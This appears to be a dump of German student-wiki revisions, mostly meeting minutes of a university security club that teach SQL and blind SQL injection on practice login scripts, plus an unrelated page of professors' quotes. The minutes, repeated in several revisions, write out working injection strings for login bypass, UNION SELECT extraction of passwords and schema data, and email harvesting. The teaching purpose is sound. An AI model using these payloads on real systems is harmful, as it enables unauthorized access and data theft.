klimafeindlichen Fanboys.
</pre>

CInsects/Protokolle/CInsects:Treffen-2010-10-19

2010-11-01T19:18:30Z

0rokita: /* UNION SELECT */ vergessene #

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit SQL-Injections beschäftigt.

== Ablauf ==
Wir haben erstmal eine kurze Vorstellungsrunde gemacht, wer wir jeweils sind und was unsere Erwartungen an die CInsects sind. Danach haben wir Kleingruppen von 2-3 Leuten gebildet die jeweils welche enthielten, der schon Kenntnisse von SQL hatten und welche die noch keine Vorkenntnisse hatten. In den Kleingruppen wurden dann Grundkenntnisse von SQL nochmal wiederholt. Daraufhin gab es im Plenum kurze Einfuehrung, was SQL-Injections eigentlich sind. Die Hackits wurden dann in Kleingruppen geloest und nach einer Zeit dann immer im Plenum vorgestellt.

== SQL-Injections ==
=== Algemeines zu SQL ===

Ein einfacher SQL befehl hat die struktur:

SELECT * FROM tabelle WHERE spalte='text'

mit AND und OR können mehrere bedingungen verknüft werden.

Wenn unsere Datenbank z.B. eine Tabelle user enthält in welcher die Daten zu den Usern gespeichert sind, und der Name des Users in der Spalte 'username' steht, kann man z.B. mit

SELECT * FROM user WHERE username='Bob'

alle verfügbaren Informationen zu Bob abgeruffen werden. Die anführungszeichen um Bob sind ganz wichtig da MySQL es sonst nicht als Zeichenkette sondern als nahmen einer Spalte versteht. Wenn man jetzt noch ein Passwort überprüfen will und als rückgabe nur die ID des Users braucht sieht das so aus:

SELECT userID FROM user WHERE username='Bob' AND password='blub'

=== Erste Angriffe ===

Unser erstes Angriffsziel war ein einfaches, ungesichertes Loginscript welches als eingabe den Usernamen und ein Passwort abfragt. Beim Anmeldeversuch wurde, um den angriff zu vereinfachen der verwendete SQL-Befehl angezeigt. Wenn anstat eines Passwortes ein Hochkomma (') eingegeben wurde konnte man gleich sehen das dies zu einem Fehler führt. Das liegt daran das durch die Eingabe im SQL am ende 3 hochkomata sind. Die Zeichenkette des Passwortes geht dann bis zum zweiten ' das einzelne ' am ende ist zuviel und wird nicht wieder geschlossen. Außerdem darf an dieser stelle keine Zeichenkette mehr stehen da sie "Frei im raum" schwebt. Die Kunst des angriffes besteht jetzt darin die Eingabe so zu wählen das dass SQL noch Korrekt ist, uns aber trotzdem einen User zurückliefert so dass wir eingeloggt werden. Am einfachsten ist es am ende einen Wahren vergleich mit OR anzuhängen damit die ganze bedingung wahr wird. Da wir am Ende noch ein ' der Orginalen Abfrage öberhaben ist es am einfachsten z.B. 'a' zu nehmen. Daher geben wir bei Passwort

' OR 'a'='a

ein. Das wird vom Server dann zu

SELECT user_ID FROM user WHERE username=' ' AND passwort=' ' OR 'a'='a'

was immer ein ergebnis zurückgiebt (solange es überhaubt einen User gibt) da a=a immer whar ist, und durch das OR der rest dann egal wird.

=== Ein weiterer Angriff ===

Das Formular welches wir für den zweiten Angriffsversuch benutzt haben, sah auf den ersten blick sehr gleich zu unserem Ersten ziel aus. Wenn man daten eingegeben hat (z.B. Bob und Blub) Wird der SQL-Befehl:

SELECT user_ID FROM user WHERE username='Bob' AND passwort='4567RFGHZUr578f6578GFUZI76875edut'

hier können wir sehen das aus dem Passwwort Blub eine verschlüsselte Zeichenkette wird, wir können es also nicht für unseren angriff benutzen. Also muss der Username herhalten. Wenn wir jezt wieder mit dem gleichen Angriff wie bei dem ersten verwenden wollen, gibt es ein problem da am ende noch ein AND steht mit dem passwort dahinter. Jetzt währe es gut wenn wir den rest der Zeile einfach Ignorieren können, dann brauchen wir uns um das ende keine gedanken mehr zu machen. in MySQL bedeutet das zeichen # das der rest der Zeile ein Kommentar ist. Damit können wir einen neuen Angriff formulieren:

' OR 1=1#

Das wird jetzt zu einem SQL befehl:

SELECT user_ID FROM user WHERE username =' ' OR 1=1# ' AND passwort='dr67uue456zre456ugf'

Alles nach dem # wird ignoriert. 1=1 ist immer wahr und da es mit OR verknüpft ist ist die ganze bedingung immer wahr und die Datenbank liefert ergebnisse. wenn wir uns jetzt als ein spezieller User einloggen wollen dann geht es mit:

Bob'#

das wird zu:

SELECT user_ID FROM user WHERE username='Bob' # AND passwort='...'

die ganze bedingung ist also das der username Bob ist, der rest wird ignoriert, wir haben also das Passwort umgangen.

=== Etwas schweriger ===
Im dritten Beispiel, welches wir, verwendet haben, hatte eine weitere Schwierigkeit: Das SQL Kommando geht über mehrere Zeilen, so das man nicht einfach den Rest der Zeile auskommentieren konnte. Man musste also etwas einfügen und darauf achten das das gesammte Kommando noch Syntaktisch richtig ist.

' OR 1=1 OR ' '='

ist ein möglicher angriffsstring.

=== UNION SELECT ===

Mit ''UNION SELECT'' lassen sich die daten eines 2. SELECTS an das erste anhängen. Das wichtige dabei ist dass beim 1. und 2. Select gleich viele Zeilen ausgewählt werden. Zum beispiel also:

SELECT user_ID, name FROM user WHERE name='Alice' UNION SELECT name, passwort FROM admin #' AND passwort.... (rest des orginalen Strings)

An diesem Beispiel kann man wieder sehen das über eine ähnliche Lücke wie bei den vorherigen Beispielen angegriffen wurde.

Mithilfe der Strukturtabellen von MySQL kann man darüber auch die Struktur der anderen Tabellen abgeruffen werden. Dann lautet der Angriffsstring:

Bob' UNION SELECT column_name,table_name FROM INFORMATION_SCHEMA.columns#

wird zu dem Befehl:

SELECT user_ID, name FROM user WHERE name='Bob' UNION SELECT column_name,table_name FROM INFORMATION_SCHEMA.columns#' And passwort....

und gibt die spalten zu allen Tabellen die es gibt aus. ACHTUNG: die tabellen können sich in anderen Datenbanken befinden, dann muss anders darauf zugegriffen werden. Auch die Datenbank lässt sich über das INFORMATION_SCHEMA ermitteln.

== Sonstiges ==
* Der nächste Termin ist Dienstag um 18:00 Uhr in D-114
* Für Kekse ist gesorgt
* Wir werden uns die nächsten paar Wochen mit Websicherheit beschäftigen
** Nächstes mal werden wir Blind SQL-Injection machen

== Links ==

* [http://sqlinj.cinsects.de/ Testumgebung] laueft nur, wenn man vorher 8pridoeh anschreibt.
* [http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ SQL Injection Cheat Sheet] Tipps und Tricks zu SQL Injections
* [[Bild:Sqlinj.tar.gz]] Hackits die wir ausprobiert haben (gruseliger PHP-Code)

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-10-26

2010-10-27T19:42:12Z

0rokita: etwas inhalt hinzugefügt.... (mehr kommt demnächst)

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit Blind SQL-Injections beschäftigt.

== Ablauf ==

Am anfang haben wir nochmal Kurz wiederholt was wir in der Vorherigen sitzung gemacht haben.Das lässt sich im [[CInsects/Protokolle/CInsects:Treffen-2010-10-19]] auch nachlesen. Dannach haben wir uns an Blind SQL Injection Probiert. Am ende gab es noch ein Paar lese Tipps sowie Tipps für Plugins für Firefox.

== Blind SQL-Injections ==

=== Angriff auf ein Loginscrpt ===

==== Unberechtigter login ====

Als erstes haben wir versucht uns ohne gültige benutzerkennung anzumelden. Dazu haben wir erstmal die ganz einfachen angriffe aus dem letzten mal ausprobiert:

' OR 1=1#

Das script antwortet darauf mit 'Wilkommen Alice'. Der Angriff war also erfolgreich. Das Script hat aus der eingabe den Befehl:

SELECT ID,name FROM user WHERE name=' ' OR 1=1#' AND passwd='[...]'

1=1 ist immer wahr, und durch das AND hat der rest keine bedeutung. Nach erfolgreichem login gab das script einige aufgaben aus.

==== Die Emailadresse von Bob ====

Die nächste aufgabe war es Die E-Mailadresse von Bob rauszubekommen. Dazu müssen wir UNION SELECTs benutzen, da die ausgabe der E-Mailadresse offensichtlich nicht vorgesehen ist. Jetzt können wir noch sehen das offensichtlich nur ein Wert wieder ausgegeben wird. Wenn wir jetzt mit UNION SELECT etwas unten an dass ergebnis anhängen, so wird immer noch das erste element ausgegeben. Daher müssen wir dafür sorgen das die orginale abfrage nichts zurückliefert. das erreicht man z.B. durch einen ungültigen Usernamen. Jetzt gilt es rauszufinden wiefiele spalten die erste abfrage nimmt, da man im UNION SELECT genau so vielle nehmen muss. Dabei lässt sich dann auch gleich ausprobieren was wo ausgegeben wird:

bla' UNION SELECT 1 #

Führt zu einem Fehler

bla' UNION SELECT 1,2 #

gibt dagegen die 2 an der stelle des Usernamens aus. Das bedeutet das wir alles was wir ausgeben wollen an der Stelle der 2 schreiben müssen. Um jetzt an die Email zu kommen müssen wir raten wie die Spalte heißt (man kann auch über das INFORMATION_SCHEMA gehen das ist bei viellen einträgen und nur einer ausgabe aber sehr müsam).

bla' UNION SELECT 1,e-mail FROM user#

Das führt zu einem fehler. Das kann jetzt zwei Ursachen haben: die spalte heißt nicht e-mail oder die Tabelle hißt nicht user. wenn wir jetzt etwas rumprobieren stellen wir Fest das

bla' UNION SELECT 1,email FROM user#

Funktioniert. Die Emailadresse ist aber offensichtlich nicht die von Bob. dazu müssen wir das SQL jetzt ergänzen und den Spaltennamen für dei usernamen erraten:

bla' UNION SELECT 1,email FROM user WHERE name='Bob'#

jetzt sehen wir die E-mailadresse des users Bob

Vortsetzung volgt --[[Benutzer:0rokita|Nils]] 21:42, 27. Okt. 2010 (CEST)

== Links ==

* [http://mercarion-online.de/test/CInsects Hackits]

== Vorschau auf die kommende Woche ==

Wir werden uns in der kommenden Woche mit Remote Code Execution auseinandersetzen. Es wurden zum Ende der Sitzung folgende Firefoxplugins empfohlen:
* [https://addons.mozilla.org/en-US/firefox/addon/966/ Tamper Data]
* [https://addons.mozilla.org/en-US/firefox/addon/3899/ HackBar]
* [https://addons.mozilla.org/en-US/firefox/addon/1843/ Firebug]
* [https://addons.mozilla.org/en-US/firefox/addon/60/ Webdeveloper Toolbar]

[[Kategorie: CInsects-Protokolle]]

Diskussion:BrowsAGame

2010-10-26T05:39:58Z

0rokita:

hoffentlich alles mit freier Software... Gutes Gelingen und viel Spass dabei!

wenn es PHP und MySQL wird, dann sehr sicher mit Netbeans.

*Warum Netbeans? Hatt das irgentwas guten was ich nicht kenne? --[[Benutzer:0rokita|Nils]] 07:39, 26. Okt. 2010 (CEST)

CInsects/Protokolle/CInsects:Treffen-2010-10-19

2010-10-25T14:01:47Z

0rokita: /* UNION SELECT */

Heute haben wir uns überwiegend mit SQL-Injections beschäftigt.

== Ablauf ==
Wir haben erstmal eine kurze Vorstellungsrunde gemacht, wer wir jeweils sind und was unsere Erwartungen an die CInsects sind. Danach haben wir Kleingruppen von 2-3 Leuten gebildet die jeweils welche enthielten, der schon Kenntnisse von SQL hatten und welche die noch keine Vorkenntnisse hatten. In den Kleingruppen wurden dann Grundkenntnisse von SQL nochmal wiederholt. Daraufhin gab es im Plenum kurze Einfuehrung, was SQL-Injections eigentlich sind. Die Hackits wurden dann in Kleingruppen geloest und nach einer Zeit dann immer im Plenum vorgestellt.

== SQL-Injections ==
=== Algemeines zu SQL ===

Ein einfacher SQL befehl hat die struktur:

SELECT * FROM tabelle WHERE spalte='text'

mit AND und OR können mehrere bedingungen verknüft werden.

Wenn unsere Datenbank z.B. eine Tabelle user enthält in welcher die Daten zu den Usern gespeichert sind, und der Name des Users in der Spalte 'username' steht, kann man z.B. mit

SELECT * FROM user WHERE username='Bob'

alle verfügbaren Informationen zu Bob abgeruffen werden. Die anführungszeichen um Bob sind ganz wichtig da MySQL es sonst nicht als Zeichenkette sondern als nahmen einer Spalte versteht. Wenn man jetzt noch ein Passwort überprüfen will und als rückgabe nur die ID des Users braucht sieht das so aus:

SELECT userID FROM user WHERE username='Bob' AND password='blub'

=== Erste Angriffe ===

Unser erstes Angriffsziel war ein einfaches, ungesichertes Loginscript welches als eingabe den Usernamen und ein Passwort abfragt. Beim Anmeldeversuch wurde, um den angriff zu vereinfachen der verwendete SQL-Befehl angezeigt. Wenn anstat eines Passwortes ein Hochkomma (') eingegeben wurde konnte man gleich sehen das dies zu einem Fehler führt. Das liegt daran das durch die Eingabe im SQL am ende 3 hochkomata sind. Die Zeichenkette des Passwortes geht dann bis zum zweiten ' das einzelne ' am ende ist zuviel und wird nicht wieder geschlossen. Außerdem darf an dieser stelle keine Zeichenkette mehr stehen da sie "Frei im raum" schwebt. Die Kunst des angriffes besteht jetzt darin die Eingabe so zu wählen das dass SQL noch Korrekt ist, uns aber trotzdem einen User zurückliefert so dass wir eingeloggt werden. Am einfachsten ist es am ende einen Wahren vergleich mit OR anzuhängen damit die ganze bedingung wahr wird. Da wir am Ende noch ein ' der Orginalen Abfrage öberhaben ist es am einfachsten z.B. 'a' zu nehmen. Daher geben wir bei Passwort

' OR 'a'='a

ein. Das wird vom Server dann zu

SELECT user_ID FROM user WHERE username=' ' AND passwort=' ' OR 'a'='a'

was immer ein ergebnis zurückgiebt (solange es überhaubt einen User gibt) da a=a immer whar ist, und durch das OR der rest dann egal wird.

=== Ein weiterer Angriff ===

Das Formular welches wir für den zweiten Angriffsversuch benutzt haben, sah auf den ersten blick sehr gleich zu unserem Ersten ziel aus. Wenn man daten eingegeben hat (z.B. Bob und Blub) Wird der SQL-Befehl:

SELECT user_ID FROM user WHERE username='Bob' AND passwort='4567RFGHZUr578f6578GFUZI76875edut'

hier können wir sehen das aus dem Passwwort Blub eine verschlüsselte Zeichenkette wird, wir können es also nicht für unseren angriff benutzen. Also muss der Username herhalten. Wenn wir jezt wieder mit dem gleichen Angriff wie bei dem ersten verwenden wollen, gibt es ein problem da am ende noch ein AND steht mit dem passwort dahinter. Jetzt währe es gut wenn wir den rest der Zeile einfach Ignorieren können, dann brauchen wir uns um das ende keine gedanken mehr zu machen. in MySQL bedeutet das zeichen # das der rest der Zeile ein Kommentar ist. Damit können wir einen neuen Angriff formulieren:

' OR 1=1#

Das wird jetzt zu einem SQL befehl:

SELECT user_ID FROM user WHERE username =' ' OR 1=1# ' AND passwort='dr67uue456zre456ugf'

Alles nach dem # wird ignoriert. 1=1 ist immer wahr und da es mit OR verknüpft ist ist die ganze bedingung immer wahr und die Datenbank liefert ergebnisse. wenn wir uns jetzt als ein spezieller User einloggen wollen dann geht es mit:

Bob'#

das wird zu:

SELECT user_ID FROM user WHERE username='Bob' # AND passwort='...'

die ganze bedingung ist also das der username Bob ist, der rest wird ignoriert, wir haben also das Passwort umgangen.

=== Etwas schweriger ===
Im dritten Beispiel, welches wir, verwendet haben, hatte eine weitere Schwierigkeit: Das SQL Kommando geht über mehrere Zeilen, so das man nicht einfach den Rest der Zeile auskommentieren konnte. Man musste also etwas einfügen und darauf achten das das gesammte Kommando noch Syntaktisch richtig ist.

' OR 1=1 OR ' '='

ist ein möglicher angriffsstring.

=== UNION SELECT ===

Mit ''UNION SELECT'' lassen sich die daten eines 2. SELECTS an das erste anhängen. Das wichtige dabei ist dass beim 1. und 2. Select gleich viele Zeilen ausgewählt werden. Zum beispiel also:

SELECT user_ID, name FROM user WHERE name='Alice' UNION SELECT name, passwort FROM admin # AND passwort.... (rest des orginalen Strings)

An diesem Beispiel kann man wieder sehen das über eine ähnliche Lücke wie bei den vorherigen Beispielen angegriffen wurde. Mithilfe der Strukturtabellen von MySQL kann man darüber auch die Struktur der anderen Tabellen abgeruffen werden. Dann lautet der Angriffsstring:

Bob' UNION SELECT column_name,table_name FROM INFORMATION_SCHEMA.columns

wird zu dem Befehl:

SELECT user_ID, name FROM user WHERE name='Bob' UNION SELECT column_name,table_name FROM INFORMATION_SCHEMA.columns

und gibt die spalten zu allen Tabellen die es gibt aus. ACHTUNG: die tabellen können sich in anderen Datenbanken befinden, dann muss anders darauf zugegriffen werden. Auch die Datenbank lässt sich über das INFORMATION_SCHEMA ermitteln.

== Sonstiges ==
* Der nächste Termin wird noch bekanntgegeben
* Für Kekse ist gesorgt
* Wir werden uns die nächsten paar Wochen mit Websicherheit beschäftigen
** Nächstes mal werden wir Blind SQL-Injection machen

== Links ==

* [http://sqlinj.cinsects.de/ Testumgebung] laueft nur, wenn man vorher 8pridoeh anschreibt.
* [http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ SQL Injection Cheat Sheet] Tipps und Tricks zu SQL Injections
* [[Bild:Sqlinj.tar.gz]] Hackits die wir ausprobiert haben (gruseliger PHP-Code)

CInsects/Protokolle/CInsects:Treffen-2010-10-19

2010-10-25T13:42:52Z

0rokita: ' ' wird vom wikisyntax geschluckt

Heute haben wir uns überwiegend mit SQL-Injections beschäftigt.

== Ablauf ==
Wir haben erstmal eine kurze Vorstellungsrunde gemacht, wer wir jeweils sind und was unsere Erwartungen an die CInsects sind. Danach haben wir Kleingruppen von 2-3 Leuten gebildet die jeweils welche enthielten, der schon Kenntnisse von SQL hatten und welche die noch keine Vorkenntnisse hatten. In den Kleingruppen wurden dann Grundkenntnisse von SQL nochmal wiederholt. Daraufhin gab es im Plenum kurze Einfuehrung, was SQL-Injections eigentlich sind. Die Hackits wurden dann in Kleingruppen geloest und nach einer Zeit dann immer im Plenum vorgestellt.

== SQL-Injections ==
=== Algemeines zu SQL ===

Ein einfacher SQL befehl hat die struktur:

SELECT * FROM tabelle WHERE spalte='text'

mit AND und OR können mehrere bedingungen verknüft werden.

Wenn unsere Datenbank z.B. eine Tabelle user enthält in welcher die Daten zu den Usern gespeichert sind, und der Name des Users in der Spalte 'username' steht, kann man z.B. mit

SELECT * FROM user WHERE username='Bob'

alle verfügbaren Informationen zu Bob abgeruffen werden. Die anführungszeichen um Bob sind ganz wichtig da MySQL es sonst nicht als Zeichenkette sondern als nahmen einer Spalte versteht. Wenn man jetzt noch ein Passwort überprüfen will und als rückgabe nur die ID des Users braucht sieht das so aus:

SELECT userID FROM user WHERE username='Bob' AND password='blub'

=== Erste Angriffe ===

Unser erstes Angriffsziel war ein einfaches, ungesichertes Loginscript welches als eingabe den Usernamen und ein Passwort abfragt. Beim Anmeldeversuch wurde, um den angriff zu vereinfachen der verwendete SQL-Befehl angezeigt. Wenn anstat eines Passwortes ein Hochkomma (') eingegeben wurde konnte man gleich sehen das dies zu einem Fehler führt. Das liegt daran das durch die Eingabe im SQL am ende 3 hochkomata sind. Die Zeichenkette des Passwortes geht dann bis zum zweiten ' das einzelne ' am ende ist zuviel und wird nicht wieder geschlossen. Außerdem darf an dieser stelle keine Zeichenkette mehr stehen da sie "Frei im raum" schwebt. Die Kunst des angriffes besteht jetzt darin die Eingabe so zu wählen das dass SQL noch Korrekt ist, uns aber trotzdem einen User zurückliefert so dass wir eingeloggt werden. Am einfachsten ist es am ende einen Wahren vergleich mit OR anzuhängen damit die ganze bedingung wahr wird. Da wir am Ende noch ein ' der Orginalen Abfrage öberhaben ist es am einfachsten z.B. 'a' zu nehmen. Daher geben wir bei Passwort

' OR 'a'='a

ein. Das wird vom Server dann zu

SELECT user_ID FROM user WHERE username=' ' AND passwort=' ' OR 'a'='a'

was immer ein ergebnis zurückgiebt (solange es überhaubt einen User gibt) da a=a immer whar ist, und durch das OR der rest dann egal wird.

=== Ein weiterer Angriff ===

Das Formular welches wir für den zweiten Angriffsversuch benutzt haben, sah auf den ersten blick sehr gleich zu unserem Ersten ziel aus. Wenn man daten eingegeben hat (z.B. Bob und Blub) Wird der SQL-Befehl:

SELECT user_ID FROM user WHERE username='Bob' AND passwort='4567RFGHZUr578f6578GFUZI76875edut'

hier können wir sehen das aus dem Passwwort Blub eine verschlüsselte Zeichenkette wird, wir können es also nicht für unseren angriff benutzen. Also muss der Username herhalten. Wenn wir jezt wieder mit dem gleichen Angriff wie bei dem ersten verwenden wollen, gibt es ein problem da am ende noch ein AND steht mit dem passwort dahinter. Jetzt währe es gut wenn wir den rest der Zeile einfach Ignorieren können, dann brauchen wir uns um das ende keine gedanken mehr zu machen. in MySQL bedeutet das zeichen # das der rest der Zeile ein Kommentar ist. Damit können wir einen neuen Angriff formulieren:

' OR 1=1#

Das wird jetzt zu einem SQL befehl:

SELECT user_ID FROM user WHERE username =' ' OR 1=1# ' AND passwort='dr67uue456zre456ugf'

Alles nach dem # wird ignoriert. 1=1 ist immer wahr und da es mit OR verknüpft ist ist die ganze bedingung immer wahr und die Datenbank liefert ergebnisse. wenn wir uns jetzt als ein spezieller User einloggen wollen dann geht es mit:

Bob'#

das wird zu:

SELECT user_ID FROM user WHERE username='Bob' # AND passwort='...'

die ganze bedingung ist also das der username Bob ist, der rest wird ignoriert, wir haben also das Passwort umgangen.

=== Etwas schweriger ===
Im dritten Beispiel, welches wir, verwendet haben, hatte eine weitere Schwierigkeit: Das SQL Kommando geht über mehrere Zeilen, so das man nicht einfach den Rest der Zeile auskommentieren konnte. Man musste also etwas einfügen und darauf achten das das gesammte Kommando noch Syntaktisch richtig ist.

' OR 1=1 OR ' '='

ist ein möglicher angriffsstring.

=== UNION SELECT ===

Schreibe ich die Tage --[[Benutzer:0rokita|Nils]] 21:11, 20. Okt. 2010 (CEST)

== Sonstiges ==
* Der nächste Termin wird noch bekanntgegeben
* Für Kekse ist gesorgt
* Wir werden uns die nächsten paar Wochen mit Websicherheit beschäftigen
** Nächstes mal werden wir Blind SQL-Injection machen

== Links ==

* [http://sqlinj.cinsects.de/ Testumgebung] laueft nur, wenn man vorher 8pridoeh anschreibt.
* [http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ SQL Injection Cheat Sheet] Tipps und Tricks zu SQL Injections
* [[Bild:Sqlinj.tar.gz]] Hackits die wir ausprobiert haben (gruseliger PHP-Code)

CInsects/Protokolle/CInsects:Treffen-2010-10-19

2010-10-25T13:42:08Z

0rokita: /* Etwas schweriger */ mit inhalt versehen

Heute haben wir uns überwiegend mit SQL-Injections beschäftigt.

== Ablauf ==
Wir haben erstmal eine kurze Vorstellungsrunde gemacht, wer wir jeweils sind und was unsere Erwartungen an die CInsects sind. Danach haben wir Kleingruppen von 2-3 Leuten gebildet die jeweils welche enthielten, der schon Kenntnisse von SQL hatten und welche die noch keine Vorkenntnisse hatten. In den Kleingruppen wurden dann Grundkenntnisse von SQL nochmal wiederholt. Daraufhin gab es im Plenum kurze Einfuehrung, was SQL-Injections eigentlich sind. Die Hackits wurden dann in Kleingruppen geloest und nach einer Zeit dann immer im Plenum vorgestellt.

== SQL-Injections ==
=== Algemeines zu SQL ===

Ein einfacher SQL befehl hat die struktur:

SELECT * FROM tabelle WHERE spalte='text'

mit AND und OR können mehrere bedingungen verknüft werden.

Wenn unsere Datenbank z.B. eine Tabelle user enthält in welcher die Daten zu den Usern gespeichert sind, und der Name des Users in der Spalte 'username' steht, kann man z.B. mit

SELECT * FROM user WHERE username='Bob'

alle verfügbaren Informationen zu Bob abgeruffen werden. Die anführungszeichen um Bob sind ganz wichtig da MySQL es sonst nicht als Zeichenkette sondern als nahmen einer Spalte versteht. Wenn man jetzt noch ein Passwort überprüfen will und als rückgabe nur die ID des Users braucht sieht das so aus:

SELECT userID FROM user WHERE username='Bob' AND password='blub'

=== Erste Angriffe ===

Unser erstes Angriffsziel war ein einfaches, ungesichertes Loginscript welches als eingabe den Usernamen und ein Passwort abfragt. Beim Anmeldeversuch wurde, um den angriff zu vereinfachen der verwendete SQL-Befehl angezeigt. Wenn anstat eines Passwortes ein Hochkomma (') eingegeben wurde konnte man gleich sehen das dies zu einem Fehler führt. Das liegt daran das durch die Eingabe im SQL am ende 3 hochkomata sind. Die Zeichenkette des Passwortes geht dann bis zum zweiten ' das einzelne ' am ende ist zuviel und wird nicht wieder geschlossen. Außerdem darf an dieser stelle keine Zeichenkette mehr stehen da sie "Frei im raum" schwebt. Die Kunst des angriffes besteht jetzt darin die Eingabe so zu wählen das dass SQL noch Korrekt ist, uns aber trotzdem einen User zurückliefert so dass wir eingeloggt werden. Am einfachsten ist es am ende einen Wahren vergleich mit OR anzuhängen damit die ganze bedingung wahr wird. Da wir am Ende noch ein ' der Orginalen Abfrage öberhaben ist es am einfachsten z.B. 'a' zu nehmen. Daher geben wir bei Passwort

' OR 'a'='a

ein. Das wird vom Server dann zu

SELECT user_ID FROM user WHERE username=' ' AND passwort=' ' OR 'a'='a'

was immer ein ergebnis zurückgiebt (solange es überhaubt einen User gibt) da a=a immer whar ist, und durch das OR der rest dann egal wird.

=== Ein weiterer Angriff ===

Das Formular welches wir für den zweiten Angriffsversuch benutzt haben, sah auf den ersten blick sehr gleich zu unserem Ersten ziel aus. Wenn man daten eingegeben hat (z.B. Bob und Blub) Wird der SQL-Befehl:

SELECT user_ID FROM user WHERE username='Bob' AND passwort='4567RFGHZUr578f6578GFUZI76875edut'

hier können wir sehen das aus dem Passwwort Blub eine verschlüsselte Zeichenkette wird, wir können es also nicht für unseren angriff benutzen. Also muss der Username herhalten. Wenn wir jezt wieder mit dem gleichen Angriff wie bei dem ersten verwenden wollen, gibt es ein problem da am ende noch ein AND steht mit dem passwort dahinter. Jetzt währe es gut wenn wir den rest der Zeile einfach Ignorieren können, dann brauchen wir uns um das ende keine gedanken mehr zu machen. in MySQL bedeutet das zeichen # das der rest der Zeile ein Kommentar ist. Damit können wir einen neuen Angriff formulieren:

' OR 1=1#

Das wird jetzt zu einem SQL befehl:

SELECT user_ID FROM user WHERE username =' ' OR 1=1# ' AND passwort='dr67uue456zre456ugf'

Alles nach dem # wird ignoriert. 1=1 ist immer wahr und da es mit OR verknüpft ist ist die ganze bedingung immer wahr und die Datenbank liefert ergebnisse. wenn wir uns jetzt als ein spezieller User einloggen wollen dann geht es mit:

Bob'#

das wird zu:

SELECT user_ID FROM user WHERE username='Bob' # AND passwort='...'

die ganze bedingung ist also das der username Bob ist, der rest wird ignoriert, wir haben also das Passwort umgangen.

=== Etwas schweriger ===
Im dritten Beispiel, welches wir, verwendet haben, hatte eine weitere Schwierigkeit: Das SQL Kommando geht über mehrere Zeilen, so das man nicht einfach den Rest der Zeile auskommentieren konnte. Man musste also etwas einfügen und darauf achten das das gesammte Kommando noch Syntaktisch richtig ist.

' OR 1=1 OR ''='

ist ein möglicher angriffsstring.

=== UNION SELECT ===

Schreibe ich die Tage --[[Benutzer:0rokita|Nils]] 21:11, 20. Okt. 2010 (CEST)

== Sonstiges ==
* Der nächste Termin wird noch bekanntgegeben
* Für Kekse ist gesorgt
* Wir werden uns die nächsten paar Wochen mit Websicherheit beschäftigen
** Nächstes mal werden wir Blind SQL-Injection machen

== Links ==

* [http://sqlinj.cinsects.de/ Testumgebung] laueft nur, wenn man vorher 8pridoeh anschreibt.
* [http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ SQL Injection Cheat Sheet] Tipps und Tricks zu SQL Injections
* [[Bild:Sqlinj.tar.gz]] Hackits die wir ausprobiert haben (gruseliger PHP-Code)

SSE

2010-10-22T05:27:33Z

0rokita: zur besseren auffindbarkeit

#REDIRECT [[Bachelor_Software_System_Entwicklung]]

Professorensprüche

2010-10-21T07:34:56Z

0rokita: datum fÃ¼r letztes Zitat

''Anmerkung: Da hier auch viele alte Sprüche herumlungern, wünsche ich mir, dass bei allen neuen Sprüchen das Datum, oder zumindest das Jahr dabeisteht.'' --[[Roland Illig]], 20.02.2007

"Als ich eben wieder in den Raum gekommen bin konnte ich von hinten nichts von dem lesen was auf dem OHP steht. Warum beschweren sie sich nicht? Also, es gibt zwei Möglichkeiten: entweder sie setzten sich weiter nach Vorne, oder sie beschweren sich und ich sage ihnen sie sollen sich weiter nach Vorne setzen"[[Hans Daduna]], 08.06.2010

"Es gibt viele blinde, die nicht sehen können!" -- Theo Bungarten (Einführung in die Linguistik des Deutschen) als Gegenargument für die These das 80% der Menschlichen Wahrnehmung auf optischen Reizen basiert. 27.10.2009

Heitmann: "Wie implementiert man das?" Adrej: "Eselsbrücke: Man kann sich ein Stack als ein Gefäß vorstellen und das ist halt Tief, deshalb Tiefensuche. Und eine Schlange ist halt ganz schön breit..." [allgemeines Gelächter] --AD-Panic-Tutorium, 30.01.2009 15:58

"Das ist vergleichbar mit Schäuble, der stellt auch jeden Bürger unter Generalverdacht und nimmt ihn in seine Datenbank auf, aber nur wenige sind wirklich Terroristen" (Zum Thema virtuelle Adressen / Speicherverwaltung) --[[Martin Lehmann]], 21.01.2009

"Bildverarbeitung ist, zum gegebenen Algorithmus das beste Beispiel zu finden."
--[[Peer Stelldinger]], 22.1.2008

"Hat mal wer was zum lutschen für mich?
...
Kommt lasst mich nicht hängen." --[[Axel Schmolitzky]], 17.12.2007

Ritter: "Ich habe heute schon 2x "Scheiße" gesagt, vorgestern habe ich Superstar geguckt, ich glaube das sollte ich lassen. Da werden auch nur 2 Wörter gesagt: "Scheiße" und "geil". Habe
eigentlich nur kurz vorbeigezappt."

Klaus von der Heide (erzählt von seiner 1964er-Maschine mit 1k Core und 13k Platte und seinen Problemen mit Windows):<br>
»Meine Idee: Wenn Du etwas anfängst, versteh es bis zur physikalischen Ebene. -- Jetzt bei Service Pack 2 muß ich aufgeben.«

Stiehl über Euler:<br>
»Es ist nicht so, daß sich der kulturelle Beitrag der Schweizer auf Ricola beschränkt.«

Valk zur Verlegung der Vorlesung PNL ans Informatikum:<br>
''Student'': »Frau Floyd sagt, es geht nicht.« <br>
Valk überlegt kurz: »Heisst das, es geht nicht?«. <br>
Gelächter im Saal <br>
Valk: »In der Softwaretechnik geht vieles nicht, und wird trotzdem gemacht.«

Stiehl:<br>
»Ein Kollege aus Berlin sagt gerne: "Die Unterdrückung der führenden Nullen ist der Triumph der Informatik über die Politik."«

Wenn z.B. ein Flugzeug abstürzt, geht der Restnutzen ziemlich stark gegen
Null.
-- Valk, MfR

Es gab auch deutsche Versuche zu Feldrechnern - aber bevor wir über SUPREMUM
reden, sprechen wir lieber über etwas anderes.
-- Bernd Wolfinger, RoRa

Ich werde noch Ausschnitte von Teilen des Buches kopieren.
-- Arno Rolf, Umweltinformatik I

Der Einfachheit halber verwenden wir hier nur gerichtete Kanten - also alles
nur Einbahnstraßen.
-- Rainer Lang, Modelbildung und Simulation

Das hier ist doch eher eine einseitige Kopperation.
-- Bernd Page, Simulation III

Jetzt kommen wir zu etwas, das MacDonalds favorisiert: -
Die Schichtenstruktur!
